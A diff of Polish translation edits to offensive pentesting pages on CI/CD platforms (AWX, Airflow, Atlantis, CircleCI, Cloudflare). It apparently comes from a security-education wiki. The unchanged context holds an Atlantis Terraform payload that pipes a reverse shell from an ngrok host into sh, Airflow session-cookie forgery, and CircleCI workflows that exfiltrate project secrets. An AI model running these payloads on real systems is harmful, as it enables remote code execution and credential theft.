diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index 2edf12e2b..6763bb962 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -14,7 +14,7 @@ Zgodnie z [**tym**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood- ### Stos technologiczny -- **Interfejs webowy**: To graficzny interfejs, w którym użytkownicy mogą zarządzać inwentarzami, poświadczeniami, szablonami i zadaniami. Został zaprojektowany tak, aby był intuicyjny i dostarczał wizualizacji, które pomagają w zrozumieniu stanu i wyników twoich zadań automatyzacji. +- **Interfejs webowy**: To graficzny interfejs, w którym użytkownicy mogą zarządzać inwentarzami, poświadczeniami, szablonami i zadaniami. Został zaprojektowany tak, aby był intuicyjny i zapewniał wizualizacje pomagające w zrozumieniu stanu i wyników zadań automatyzacji. - **REST API**: Wszystko, co możesz zrobić w interfejsie webowym, możesz również zrobić za pomocą REST API. Oznacza to, że możesz zintegrować AWX/Tower z innymi systemami lub skryptować działania, które zazwyczaj wykonujesz w interfejsie. - **Baza danych**: AWX/Tower używa bazy danych (zwykle PostgreSQL) do przechowywania swojej konfiguracji, wyników zadań i innych niezbędnych danych operacyjnych. - **RabbitMQ**: To system komunikacji używany przez AWX/Tower do komunikacji między różnymi komponentami, szczególnie między usługą webową a wykonawcami zadań. @@ -40,17 +40,17 @@ Zgodnie z [**tym**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood- - Po inicjacji zadania, żądanie jest wysyłane do zaplecza AWX/Tower, aby umieścić zadanie w kolejce do wykonania. 3. **Kolejkowanie zadań**: - **RabbitMQ** obsługuje komunikację między komponentem webowym a wykonawcami zadań. Gdy zadanie jest inicjowane, wiadomość jest wysyłana do silnika zadań za pomocą RabbitMQ. -- **Redis** działa jako zaplecze dla kolejki zadań, zarządzając zadaniami w kolejce oczekującymi na wykonanie. +- **Redis** działa jako zaplecze dla kolejki zadań, zarządzając zadaniami oczekującymi na wykonanie. 4. **Wykonanie zadania**: - **Silnik Zadań** odbiera zadanie z kolejki. Pobiera niezbędne informacje z **Bazy Danych** dotyczące powiązanego playbooka, inwentarza i poświadczeń. - Używając pobranego playbooka Ansible z powiązanego **Projektu**, Silnik Zadań uruchamia playbook na określonych węzłach **Inwentarza** przy użyciu podanych **Poświadczeń**. - W miarę uruchamiania playbooka, jego wyniki wykonania (logi, fakty itp.) są rejestrowane i przechowywane w **Bazie Danych**. -5. **Wyniki zadania**: -- Gdy playbook zakończy działanie, wyniki (sukces, niepowodzenie, logi) są zapisywane w **Bazie Danych**. -- Użytkownicy mogą następnie przeglądać wyniki za pośrednictwem Interfejsu Webowego lub zapytać je za pomocą REST API. +5. **Wyniki zadań**: +- Po zakończeniu uruchamiania playbooka, wyniki (sukces, niepowodzenie, logi) są zapisywane w **Bazie Danych**. +- Użytkownicy mogą następnie przeglądać wyniki za pośrednictwem Interfejsu Webowego lub zapytywać je za pomocą REST API. - W zależności od wyników zadań, **Powiadomienia** mogą być wysyłane, aby informować użytkowników lub zewnętrzne systemy o statusie zadania. Powiadomienia mogą być e-mailami, wiadomościami Slack, webhookami itp. 6. **Integracja z systemami zewnętrznymi**: -- **Inwentarze** mogą być dynamicznie pozyskiwane z systemów zewnętrznych, co pozwala AWX/Tower na pobieranie hostów z takich źródeł jak AWS, Azure, VMware i innych. +- **Inwentarze** mogą być dynamicznie pozyskiwane z systemów zewnętrznych, co pozwala AWX/Tower na pobieranie hostów z takich źródeł jak AWS, Azure, VMware i inne. - **Projekty** (playbooki) mogą być pobierane z systemów kontroli wersji, zapewniając użycie aktualnych playbooków podczas wykonywania zadań. - **Harmonogramy i wywołania zwrotne** mogą być używane do integracji z innymi systemami lub narzędziami, co sprawia, że AWX/Tower reaguje na zewnętrzne wyzwalacze lub uruchamia zadania w ustalonych czasach. @@ -88,7 +88,7 @@ docker exec tools_awx_1 awx-manage create_preload_data Najbardziej uprzywilejowaną rolą jest **Administrator Systemu**. Każdy z tą rolą może **modyfikować wszystko**. -Z perspektywy **przeglądu bezpieczeństwa typu white box**, potrzebujesz roli **Audytora Systemu**, która pozwala na **przeglądanie wszystkich danych systemowych**, ale nie może wprowadzać żadnych zmian. Inną opcją byłoby uzyskanie roli **Audytora Organizacji**, ale lepiej jest uzyskać tę pierwszą. +Z perspektywy **przeglądu bezpieczeństwa białej skrzynki**, potrzebujesz roli **Audytora Systemu**, która pozwala na **przeglądanie wszystkich danych systemowych**, ale nie może wprowadzać żadnych zmian. Inną opcją byłoby uzyskanie roli **Audytora Organizacji**, ale lepiej byłoby uzyskać tę drugą.
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index 8669493de..dedfd7d09 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -57,12 +57,12 @@ Jeśli masz **dostęp do konsoli webowej**, możesz uzyskać dostęp do niektór #### Pobieranie wartości zmiennych -Zmienne mogą być przechowywane w Airflow, aby **DAGi** mogły **uzyskiwać** ich wartości. Jest to podobne do sekretów innych platform. Jeśli masz **wystarczające uprawnienia**, możesz uzyskać do nich dostęp w GUI w `http:///variable/list/`.\ +Zmienne mogą być przechowywane w Airflow, aby **DAG** mogły **uzyskiwać** ich wartości. Jest to podobne do sekretów innych platform. Jeśli masz **wystarczające uprawnienia**, możesz uzyskać do nich dostęp w GUI w `http:///variable/list/`.\ Airflow domyślnie pokaże wartość zmiennej w GUI, jednak zgodnie z [**tym**](https://marclamberti.com/blog/variables-with-apache-airflow/) możliwe jest ustawienie **listy zmiennych**, których **wartość** będzie wyświetlana jako **gwiazdki** w **GUI**. ![](<../../images/image (164).png>) -Jednak te **wartości** mogą być nadal **pobierane** za pomocą **CLI** (musisz mieć dostęp do bazy danych), **wykonywania dowolnego DAG**, **API** uzyskującego dostęp do punktu końcowego zmiennych (API musi być aktywowane) i **nawet samego GUI!**\ +Jednak te **wartości** mogą być nadal **pobrane** za pomocą **CLI** (musisz mieć dostęp do bazy danych), **wykonywania dowolnego DAG**, **API** uzyskującego dostęp do punktu końcowego zmiennych (API musi być aktywowane) i **nawet samego GUI!**\ Aby uzyskać dostęp do tych wartości z GUI, po prostu **wybierz zmienne**, do których chcesz uzyskać dostęp i **kliknij na Akcje -> Eksportuj**.\ Innym sposobem jest przeprowadzenie **bruteforce** na **ukrytej wartości** za pomocą **filtrowania wyszukiwania**, aż ją uzyskasz: @@ -70,7 +70,7 @@ Innym sposobem jest przeprowadzenie **bruteforce** na **ukrytej wartości** za p #### Eskalacja uprawnień -Jeśli konfiguracja **`expose_config`** jest ustawiona na **True**, z **rolą Użytkownika** i **wyżej** można **czytać** **konfigurację w sieci**. W tej konfiguracji pojawia się **`secret_key`**, co oznacza, że każdy użytkownik z tym ważnym kluczem może **utworzyć własny podpisany cookie, aby podszyć się pod inne konto użytkownika**. +Jeśli konfiguracja **`expose_config`** jest ustawiona na **True**, z **rolą Użytkownik** i **wyżej** mogą **czytać** **konfigurację w sieci**. W tej konfiguracji pojawia się **`secret_key`**, co oznacza, że każdy użytkownik z tym ważnym kluczem może **utworzyć własny podpisany cookie, aby podszyć się pod inne konto użytkownika**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index f9bf18857..7acea8328 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -10,7 +10,7 @@ Zauważ, że **wartości w pliku konfiguracyjnym** **mogą nie być tymi używanymi**, ponieważ możesz je nadpisać, ustawiając zmienne środowiskowe, takie jak `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. -Jeśli masz dostęp do **pliku konfiguracyjnego na serwerze internetowym**, możesz sprawdzić **rzeczywistą konfigurację uruchomioną** na tej samej stronie, na której wyświetlany jest plik konfiguracyjny.\ +Jeśli masz dostęp do **pliku konfiguracyjnego na serwerze webowym**, możesz sprawdzić **rzeczywistą konfigurację uruchomioną** na tej samej stronie, na której wyświetlany jest plik konfiguracyjny.\ Jeśli masz **dostęp do jakiejś maszyny w środowisku airflow**, sprawdź **środowisko**. Niektóre interesujące wartości do sprawdzenia podczas przeglądania pliku konfiguracyjnego: diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index 194ad475c..a248313a7 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -41,12 +41,12 @@ Zauważ, że chyba że używasz prywatnego serwera github lub bitbucket, będzie [Z dokumentacji:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis uruchamia Terraform, po prostu **wykonując polecenia `terraform plan` i `apply`** na serwerze, na którym **Atlantis jest hostowany**. Tak jak gdy uruchamiasz Terraform lokalnie, Atlantis potrzebuje poświadczeń dla twojego konkretnego dostawcy. +Atlantis uruchamia Terraform, po prostu **wykonując polecenia `terraform plan` i `apply`** na serwerze, na którym **Atlantis jest hostowany**. Tak jak w przypadku uruchamiania Terraform lokalnie, Atlantis potrzebuje poświadczeń dla twojego konkretnego dostawcy. To od ciebie zależy, jak [przekazujesz poświadczenia](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) dla swojego konkretnego dostawcy do Atlantis: - Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) i [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) mają swoje własne mechanizmy dla poświadczeń dostawcy. Przeczytaj ich dokumentację. -- Jeśli uruchamiasz Atlantis w chmurze, wiele chmur ma sposoby na przyznanie dostępu do API chmury aplikacjom, które na nich działają, np.: +- Jeśli uruchamiasz Atlantis w chmurze, wiele chmur ma sposoby na przyznanie dostępu do API chmury aplikacjom działającym na nich, np.: - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Szukaj "EC2 Role") - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) - Wiele użytkowników ustawia zmienne środowiskowe, np. `AWS_ACCESS_KEY`, gdzie działa Atlantis. @@ -80,11 +80,11 @@ Wartości są **wybierane w tej kolejności**: #### Konfiguracja repozytoriów -Niektóre konfiguracje wpływają na **to, jak zarządzane są repozytoria**. Jednak możliwe jest, że **każde repozytorium wymaga różnych ustawień**, więc istnieją sposoby na określenie każdego repozytorium. Oto kolejność priorytetów: +Niektóre konfiguracje wpływają na **sposób zarządzania repozytoriami**. Jednak możliwe jest, że **każde repozytorium wymaga różnych ustawień**, więc istnieją sposoby na określenie każdego repozytorium. Oto kolejność priorytetów: 1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) plik. Ten plik może być użyty do określenia, jak atlantis powinien traktować repozytorium. Jednak domyślnie niektóre klucze nie mogą być tutaj określone bez flag pozwalających na to. 2. Prawdopodobnie wymagane do zezwolenia przez flagi, takie jak `allowed_overrides` lub `allow_custom_workflows`. -3. [**Konfiguracja po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Możesz przekazać to za pomocą flagi `--repo-config`, a jest to yaml konfiguracyjny nowych ustawień dla każdego repozytorium (wsparcie dla regexów). +3. [**Konfiguracja po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Możesz przekazać to za pomocą flagi `--repo-config`, a to jest yaml konfiguracyjny nowych ustawień dla każdego repozytorium (obsługiwane regexy). 4. **Domyślne** wartości. **Ochrona PR** @@ -101,11 +101,11 @@ Nie ma żadnej opcji, aby **określić** te skrypty w **repo `/atlantis.yml`**. **Workflow** -W konfiguracji repozytoriów (konfiguracja po stronie serwera) możesz [**określić nowy domyślny workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) lub [**utworzyć nowe niestandardowe workflow**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Możesz również **określić**, które **repozytoria** mogą **uzyskać dostęp** do **nowych** generowanych.\ +W konfiguracji repozytoriów (konfiguracja po stronie serwera) możesz [**określić nowy domyślny workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) lub [**utworzyć nowe niestandardowe workflow**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Możesz również **określić**, które **repozytoria** mogą **uzyskać dostęp** do **nowych** wygenerowanych.\ Następnie możesz pozwolić plikowi **atlantis.yaml** każdego repozytorium na **określenie workflow do użycia**. > [!CAUTION] -> Jeśli flaga [**konfiguracji po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określane** w **pliku `atlantis.yaml`** każdego repozytorium. Potencjalnie również potrzebne jest, aby **`allowed_overrides`** określało również **`workflow`**, aby **nadpisać workflow**, który ma być użyty.\ +> Jeśli flaga [**konfiguracji po stronie serwera**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określane** w **pliku `atlantis.yaml`** każdego repozytorium. Potencjalnie również potrzebne jest, aby **`allowed_overrides`** określało również **`workflow`**, aby **nadpisać workflow**, który będzie używany.\ > To zasadniczo da **RCE w serwerze Atlantis każdemu użytkownikowi, który może uzyskać dostęp do tego repozytorium**. > > ```yaml @@ -128,10 +128,10 @@ Następnie możesz pozwolić plikowi **atlantis.yaml** każdego repozytorium na Atlantis obsługuje uruchamianie **polityk conftest** [**po stronie serwera**](https://www.conftest.dev/) przeciwko wyjściu planu. Typowe przypadki użycia dla tego kroku obejmują: -- Odrzucenie użycia listy modułów. -- Asercje atrybutów zasobu w czasie tworzenia. -- Wykrywanie niezamierzonych usunięć zasobów. -- Zapobieganie ryzyku bezpieczeństwa (np. wystawianie bezpiecznych portów publicznie). +- Odrzucenie użycia listy modułów +- Asercje atrybutów zasobu w czasie tworzenia +- Wykrywanie niezamierzonych usunięć zasobów +- Zapobieganie ryzyku bezpieczeństwa (np. wystawianie bezpiecznych portów publicznie) Możesz sprawdzić, jak to skonfigurować w [**dokumentacji**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). @@ -172,9 +172,9 @@ atlantis plan -- -lock=false ``` #### Atlantis plan RCE - Modyfikacja konfiguracji w nowym PR -Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis plan`** (lub może jest to wykonywane automatycznie) **będziesz mógł RCE wewnątrz serwera Atlantis**. +Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis plan`** (lub może jest to wykonywane automatycznie) **będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**. -Możesz to zrobić, sprawiając, że [**Atlantis załaduje zewnętrzne źródło danych**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Po prostu umieść ładunek, taki jak poniżej, w pliku `main.tf`: +Możesz to zrobić, sprawiając, że [**Atlantis załaduje zewnętrzne źródło danych**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Po prostu umieść ładunek, taki jak poniższy, w pliku `main.tf`: ```json data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -182,7 +182,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **Cichszy atak** -Możesz przeprowadzić ten atak nawet w **cichszy sposób**, stosując się do tych sugestii: +Możesz przeprowadzić ten atak w **cichszy sposób**, stosując się do tych sugestii: - Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz **załadować zewnętrzny zasób**, który zawiera rev shell: ```javascript @@ -205,7 +205,7 @@ value = nonsensitive(var.do_token) ``` #### Atlantis apply RCE - Modyfikacja konfiguracji w nowym PR -Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł utworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis apply`, będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**. +Jeśli masz dostęp do zapisu w repozytorium, będziesz mógł stworzyć nową gałąź i wygenerować PR. Jeśli możesz **wykonać `atlantis apply`, będziesz mógł uzyskać RCE wewnątrz serwera Atlantis**. Jednak zazwyczaj będziesz musiał obejść pewne zabezpieczenia: @@ -251,9 +251,9 @@ Uruchamianie **złośliwych niestandardowych poleceń budowania** określonych w Ta możliwość została wspomniana w poprzedniej sekcji: > [!CAUTION] -> Jeśli flaga [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określone** w **`atlantis.yaml`** każdego repo. Potencjalnie potrzebne jest również, aby **`allowed_overrides`** określało także **`workflow`**, aby **nadpisać workflow**, który ma być użyty. +> Jeśli flaga [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` jest ustawiona na **True**, workflow mogą być **określone** w **pliku `atlantis.yaml`** każdego repo. Potencjalnie konieczne jest również, aby **`allowed_overrides`** określało również **`workflow`**, aby **nadpisać workflow**, który ma być użyty. > -> To zasadniczo da **RCE na serwerze Atlantis każdemu użytkownikowi, który ma dostęp do tego repo**. +> To zasadniczo da **RCE na serwerze Atlantis dla każdego użytkownika, który ma dostęp do tego repo**. > > ```yaml > # atlantis.yaml @@ -282,9 +282,9 @@ apply_requirements: [] ``` #### PR Hijacking -Jeśli ktoś wyśle **`atlantis plan/apply` komentarze do twoich ważnych pull requestów,** spowoduje to uruchomienie terraform, gdy nie chcesz. +Jeśli ktoś wyśle **`atlantis plan/apply` komentarze do twoich ważnych pull requestów,** spowoduje to uruchomienie terraform, gdy nie chcesz, aby to się stało. -Co więcej, jeśli nie masz skonfigurowanej **ochrony gałęzi** do ponownej **oceny** każdego PR, gdy **nowe zatwierdzenie jest do niego przesyłane**, ktoś mógłby **napisać złośliwe konfiguracje** (sprawdź wcześniejsze scenariusze) w konfiguracji terraform, uruchomić `atlantis plan/apply` i uzyskać RCE. +Co więcej, jeśli nie masz skonfigurowanej **ochrony gałęzi** do ponownej **oceny** każdego PR, gdy **nowe zatwierdzenie jest do niego przesyłane**, ktoś mógłby **napisać złośliwe konfiguracje** (sprawdź poprzednie scenariusze) w konfiguracji terraform, uruchomić `atlantis plan/apply` i uzyskać RCE. To jest **ustawienie** w ochronach gałęzi Github: @@ -292,7 +292,7 @@ To jest **ustawienie** w ochronach gałęzi Github: #### Webhook Secret -Jeśli uda ci się **ukraść sekret webhooka** lub jeśli **nie ma żadnego sekretu webhooka** używanego, możesz **wywołać webhook Atlantis** i **wywołać komendy atlatis** bezpośrednio. +Jeśli uda ci się **ukraść sekret webhooka** lub jeśli **żaden sekret webhooka** nie jest używany, możesz **wywołać webhook Atlantis** i **wywołać polecenia atlantis** bezpośrednio. #### Bitbucket @@ -342,13 +342,13 @@ Aby temu zapobiec, możesz: 1. Wbudować dostawców w obraz Atlantis lub hostować i zablokować egress w produkcji. 2. Wdrożyć wewnętrznie protokół rejestru dostawców i zablokować publiczny egress, w ten sposób kontrolujesz, kto ma dostęp do zapisu w rejestrze. -3. Zmodyfikować swój [konfigurację repozytoriów po stronie serwera](https://www.runatlantis.io/docs/server-side-repo-config.html)'s krok `plan`, aby walidować użycie niedozwolonych dostawców lub źródeł danych lub PR-ów od niedozwolonych użytkowników. Możesz również dodać dodatkową walidację w tym momencie, np. wymagając "thumbs-up" na PR przed pozwoleniem na kontynuację `plan`. Conftest może być przydatny w tej sytuacji. +3. Zmodyfikować swój [konfigurację repozytoriów po stronie serwera](https://www.runatlantis.io/docs/server-side-repo-config.html)'s krok `plan`, aby walidować użycie niedozwolonych dostawców lub źródeł danych lub PR-ów od niedozwolonych użytkowników. Możesz również dodać dodatkową walidację w tym momencie, np. wymagając "thumbs-up" na PR przed pozwoleniem na kontynuację `plan`. Conftest może być tutaj przydatny. #### Webhook Secrets Atlantis powinien być uruchamiany z ustawionymi sekretami webhooka za pomocą zmiennych środowiskowych `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Nawet z ustawioną flagą `--repo-allowlist`, bez sekretu webhooka, atakujący mogą wysyłać żądania do Atlantis, podszywając się pod repozytorium, które jest na liście dozwolonych. Sekrety webhooka zapewniają, że żądania webhooka faktycznie pochodzą od twojego dostawcy VCS (GitHub lub GitLab). -Jeśli używasz Azure DevOps, zamiast sekretów webhooka dodaj podstawowy login i hasło. +Jeśli używasz Azure DevOps, zamiast sekretów webhooka dodaj podstawową nazwę użytkownika i hasło. #### Azure DevOps Basic Authentication diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index e7ffbeb32..ec628640a 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -23,7 +23,7 @@ Każdy kontener uruchamiany przez CircleCI zawsze będzie miał [**specyficzne z #### Tekst jawny -Możesz je zadeklarować w formie jawnej wewnątrz **komendy**: +Możesz je zadeklarować w tekście jawnym wewnątrz **komendy**: ```yaml - run: name: "set and echo" @@ -90,12 +90,12 @@ Sprawdzając kod, możesz znaleźć **wszystkie nazwy sekretów**, które są ** #### Ekstrakcja sekretów projektu > [!WARNING] -> Aby **ekstrahować WSZYSTKIE** sekrety projektu i kontekstu, **wystarczy** mieć **dostęp DO ZAPISU** do **tylko 1 repo** w całej organizacji github (_a twoje konto musi mieć dostęp do kontekstów, ale domyślnie każdy może uzyskać dostęp do każdego kontekstu_). +> Aby **ekstrahować WSZYSTKIE** sekrety projektu i kontekstu, **wystarczy** mieć **dostęp do ZAPISU** do **tylko 1 repo** w całej organizacji github (_a twoje konto musi mieć dostęp do kontekstów, ale domyślnie każdy może uzyskać dostęp do każdego kontekstu_). > [!CAUTION] > Funkcjonalność "**Import Variables**" pozwala na **importowanie zmiennych z innych projektów** do tego. Dlatego atakujący mógłby **zaimportować wszystkie zmienne projektu ze wszystkich repo** i następnie **ekstrahować je wszystkie razem**. -Wszystkie sekrety projektu są zawsze ustawione w zmiennych środowiskowych zadań, więc wystarczy wywołać env i obfuscować go w base64, aby wyekstrahować sekrety w **konsoli logów internetowych workflow**: +Wszystkie sekrety projektu są zawsze ustawione w zmiennych środowiskowych zadań, więc wystarczy wywołać env i obfuscować go w base64, aby ekstrahować sekrety w **konsoli logów internetowych workflow**: ```yaml version: 2.1 @@ -114,7 +114,7 @@ exfil-env-workflow: jobs: - exfil-env ``` -Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **utworzyć workflow**, który jest **wyzwalany co minutę** i który **wykrada sekrety do zewnętrznego adresu**: +Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **utworzyć workflow**, który jest **wyzwalany co minutę** i **wykrada sekrety do zewnętrznego adresu**: ```yaml version: 2.1 @@ -230,6 +230,6 @@ version: 19.03.13 - Możliwe jest **tworzenie zadania cron w ukrytej gałęzi** w nieoczekiwanym projekcie, które **wycieka** wszystkie **zmienne środowiskowe kontekstu** codziennie. - Lub nawet stworzenie w gałęzi / modyfikacja znanego zadania, które będzie **wyciekać** wszystkie konteksty i **sekrety projektów** codziennie. - Jeśli jesteś właścicielem githuba, możesz **zezwolić na niezweryfikowane orbsy** i skonfigurować jeden w zadaniu jako **tylną furtkę**. -- Możesz znaleźć **lukę w wstrzykiwaniu poleceń** w niektórych zadaniach i **wstrzyknąć polecenia** za pomocą **sekretu**, modyfikując jego wartość. +- Możesz znaleźć **lukę w wstrzykiwaniu poleceń** w niektórych zadaniach i **wstrzykiwać polecenia** za pomocą **sekretu**, modyfikując jego wartość. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 14b596cda..e2c560d2e 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -38,7 +38,7 @@ Na każdej stronie Cloudflare: - [ ] Sprawdź **vulnerable functions** w katalogu `/fuctions` (jeśli istnieje), sprawdź **przekierowania** w pliku `_redirects` (jeśli istnieje) oraz **błędnie skonfigurowane nagłówki** w pliku `_headers` (jeśli istnieje). - [ ] Sprawdź **vulnerabilities** w **stronie internetowej** za pomocą **blackbox** lub **whitebox**, jeśli możesz **uzyskać dostęp do kodu**. - [ ] W szczegółach każdej strony `//pages/view/blocklist/settings/functions`. Sprawdź **wrażliwe informacje** w **`Environment variables`**. -- [ ] W szczegółach strony sprawdź również **komendę budowania** i **katalog główny** pod kątem **potencjalnych wstrzyknięć**, które mogą skompromitować stronę. +- [ ] W szczegółach strony sprawdź również **komendę budowy** i **katalog główny** pod kątem **potencjalnych wstrzyknięć**, które mogą skompromitować stronę. ## **Workers** @@ -121,8 +121,8 @@ cloudflare-zero-trust-network.md - [ ] Możliwe jest zobaczenie **ostatnich 4 cyfr karty kredytowej**, **daty ważności** i **adresu rozliczeniowego** w **`Billing` -> `Payment info`**. - [ ] Możliwe jest zobaczenie **rodzaju planu** używanego w koncie w **`Billing` -> `Subscriptions`**. - [ ] W **`Members`** można zobaczyć wszystkich członków konta i ich **rolę**. Zauważ, że jeśli rodzaj planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Ale jeśli używany **plan to Enterprise**, [**więcej ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) może być używanych w celu przestrzegania zasady najmniejszych uprawnień. -- Dlatego, gdy to możliwe, **zaleca się** korzystanie z **planu Enterprise**. -- [ ] W sekcji Członkowie można sprawdzić, którzy **członkowie** mają **włączoną 2FA**. **Każdy** użytkownik powinien mieć to włączone. +- Dlatego, gdy tylko to możliwe, **zaleca się** korzystanie z **planu Enterprise**. +- [ ] W członkach można sprawdzić, którzy **członkowie** mają **włączoną 2FA**. **Każdy** użytkownik powinien mieć to włączone. > [!NOTE] > Zauważ, że na szczęście rola **`Administrator`** nie daje uprawnień do zarządzania członkostwem (**nie może podnieść uprawnień ani zapraszać** nowych członków). diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index af5e4c8d2..05f110f71 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -20,7 +20,7 @@ W każdej TLD skonfigurowanej w Cloudflare istnieją **ogólne ustawienia i usł - [ ] Sprawdź **interesujące** (wrażliwe?) dane w rekordach DNS - [ ] Sprawdź **subdomeny**, które mogą zawierać **wrażliwe informacje** tylko na podstawie **nazwa** (jak admin173865324.domin.com) - [ ] Sprawdź strony internetowe, które **nie są** **proxy** -- [ ] Sprawdź **proxyfikowane strony internetowe**, które można **uzyskać bezpośrednio** przez CNAME lub adres IP +- [ ] Sprawdź **proxyowane strony internetowe**, które można **uzyskać bezpośrednio** przez CNAME lub adres IP - [ ] Sprawdź, czy **DNSSEC** jest **włączony** - [ ] Sprawdź, czy **CNAME Flattening** jest **używane** we **wszystkich CNAME** - Może to być przydatne do **ukrycia podatności na przejęcie subdomen** i poprawy czasów ładowania @@ -38,7 +38,7 @@ TODO #### **Przegląd** -- [ ] **Szyfrowanie SSL/TLS** powinno być **Pełne** lub **Pełne (Ścisłe)**. Jakiekolwiek inne spowoduje przesyłanie **ruchu w czystym tekście** w pewnym momencie. +- [ ] **Szyfrowanie SSL/TLS** powinno być **Pełne** lub **Pełne (Ścisłe)**. Jakiekolwiek inne spowoduje przesyłanie **ruchu w postaci czystego tekstu** w pewnym momencie. - [ ] **Rekomendator SSL/TLS** powinien być włączony #### Certyfikaty krawędziowe @@ -57,21 +57,21 @@ TODO - [ ] W sekcji **`Page Shield`** zaleca się sprawdzenie, czy jest **włączona**, jeśli jakakolwiek strona jest używana - [ ] W sekcji **`API Shield`** zaleca się sprawdzenie, czy jest **włączona**, jeśli jakiekolwiek API jest wystawione w Cloudflare - [ ] W sekcji **`DDoS`** zaleca się włączenie **ochrony DDoS** -- [ ] W sekcji **`Settings`**: +- [ ] W sekcji **`Ustawienia`**: - [ ] Sprawdź, czy **`Poziom bezpieczeństwa`** jest **średni** lub wyższy -- [ ] Sprawdź, czy **`Czas wyzwania`** wynosi maksymalnie 1 godzinę +- [ ] Sprawdź, czy **`Czas trwania wyzwania`** wynosi maksymalnie 1 godzinę - [ ] Sprawdź, czy **`Sprawdzanie integralności przeglądarki`** jest **włączone** - [ ] Sprawdź, czy **`Wsparcie dla Privacy Pass`** jest **włączone** #### **Ochrona DDoS CloudFlare** -- Jeśli możesz, włącz **Tryb walki z botami** lub **Super Tryb walki z botami**. Jeśli chronisz jakieś API dostępne programowo (na przykład z strony frontowej JS). Możesz nie być w stanie włączyć 